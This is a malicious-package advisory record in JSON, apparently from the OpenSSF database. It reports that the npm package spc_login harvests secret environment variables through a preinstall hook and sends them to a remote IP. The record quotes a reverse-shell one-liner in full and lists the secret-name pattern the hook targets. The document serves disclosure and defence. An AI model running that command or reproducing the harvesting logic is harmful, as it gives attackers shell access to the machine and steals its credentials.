MAL-2026-15622Malicious code in spc_login (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | spc_login | 1.0.0 |
{"modified":"2026-08-31T16:41:35Z","published":"2026-08-31T16:41:35Z","schema_version":"1.7.4","id":"MAL-2026-15622","summary":"Malicious code in spc_login (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1)\npackage.json declares a preinstall hook (\"node preinstall.js || true\") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.\n","affected":[{"package":{"ecosystem":"npm","name":"spc_login"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"preinstall.js","sha256":"a91eb3cb8dd2dec3e595b16bf4353b5dfa84fc6cd052266c28c337268aaeb9e6","tlsh":"cb2140f1a2ba21948f624ad07796847a35fee3023721d9d02a2c515a8f42b6015f34ef"},{"path":"package.json","sha256":"e207c96909f9867a8c87dcc9f3ed4a7ef73135a58eefd11de5f36b86d5fa38d5","tlsh":"c8d02b284918e03318dcc3e11a634146b09ace0f4058bd0c63970014479e33345ff21d"}],"package_integrity":[{"filename":"spc_login-1.0.0.tgz","hashes":{"sha1":"ede7ac46818284b3429c36db990b5f2ff44f33da","sha512_sri":"sha512-mOBIku7s3BGwgMnrX+rpclMr4OdE11bkjPg+ee+x6R4pgvee3UvVAxzXNsGQe4fmI5WAYBHZakOAnzAlS4e8vg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/spc_login/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019155","import_time":"2026-08-31T17:16:12.550178257Z","modified_time":"2026-08-31T16:41:35Z","sha256":"e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1","source":"amazon-inspector","versions":["1.0.0"]}]}}数据来源:OpenSSF Malicious Packages · Apache-2.0